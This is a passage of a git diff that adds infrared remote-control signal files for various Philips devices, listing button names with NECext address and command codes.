00 00 00 +# +name: PAUSE_RECORD +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 50 00 00 00 +# +name: TAPE2_PLAY +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 51 00 00 00 +# +name: TAPE2_BACKPLAY +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 52 00 00 00 +# +name: TAPE2_FW +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 53 00 00 00 +# +name: TAPE2_REW +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 54 00 00 00 +# +name: TAPE2_STOP +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 55 00 00 00 +# +name: TAPE1_PLAY +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 58 00 00 00 +# +name: TAPE1_BACKPLAY +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 59 00 00 00 +# +name: TAPE1_FW +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 5A 00 00 00 +# +name: TAPE1_REW +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 5B 00 00 00 +# +name: TAPE1_STOP +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir new file mode 100644 index 000000000..6baf329d1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: PREV_TRACK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: PREV_INDEX +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 23 00 00 00 +# +name: DIRECT_PR/PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 24 00 00 00 +# +name: KEY_S +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: FAST +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 31 00 00 00 +# +name: SEARCH_BACKW +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_FORW +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 +# +name: FTS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 6C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir new file mode 100644 index 000000000..e4f0be38b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: TEXT_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir new file mode 100644 index 000000000..4232ab739 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_2- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir new file mode 100644 index 000000000..238f760d7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: -/-- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0A 00 00 00 +# +name: 2- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0D 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 10 00 00 00 +# +name: VOL_DOWN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 11 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 20 00 00 00 +# +name: CH_DOWN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 21 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2C 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 36 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir new file mode 100644 index 000000000..dca856e1c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 09 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 23 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 2B 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 2B 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 2B 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 60 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 61 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 61 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 62 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 63 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 6F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 6F 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 72 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 72 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 73 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 73 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir new file mode 100644 index 000000000..27d6863b5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: widedown +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: wideup +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: blankscreen +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir new file mode 100644 index 000000000..999268017 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: off +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0A 00 00 00 +# +name: fav +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0D 00 00 00 +# +name: bildinbild +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0E 00 00 00 +# +name: store +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0F 00 00 00 +# +name: video +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 10 00 00 00 +# +name: audio +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 11 00 00 00 +# +name: h/v +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 12 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 13 00 00 00 +# +name: tune +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 14 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 15 00 00 00 +# +name: lnb +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 18 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1C 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1D 00 00 00 +# +name: tv/sat +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1E 00 00 00 +# +name: lock +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir new file mode 100644 index 000000000..9cd830990 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 05 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: info/select +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 22 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 26 00 00 00 +# +name: scan+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 28 00 00 00 +# +name: scan- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 29 00 00 00 +# +name: KEY_QUIT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 33 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 34 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 35 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3B 00 00 00 +# +name: toggle +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir new file mode 100644 index 000000000..d5fce2dc3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: MenuDown +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 00 00 00 00 +# +name: Display/Info +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 01 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 03 00 00 00 +# +name: Input/Setup +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 05 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 06 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 07 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 08 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 09 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0A 00 00 00 +# +name: Angle/PiP +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0E 00 00 00 +# +name: MenuRight/Next +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 2F 00 00 +command: 10 00 00 00 +# 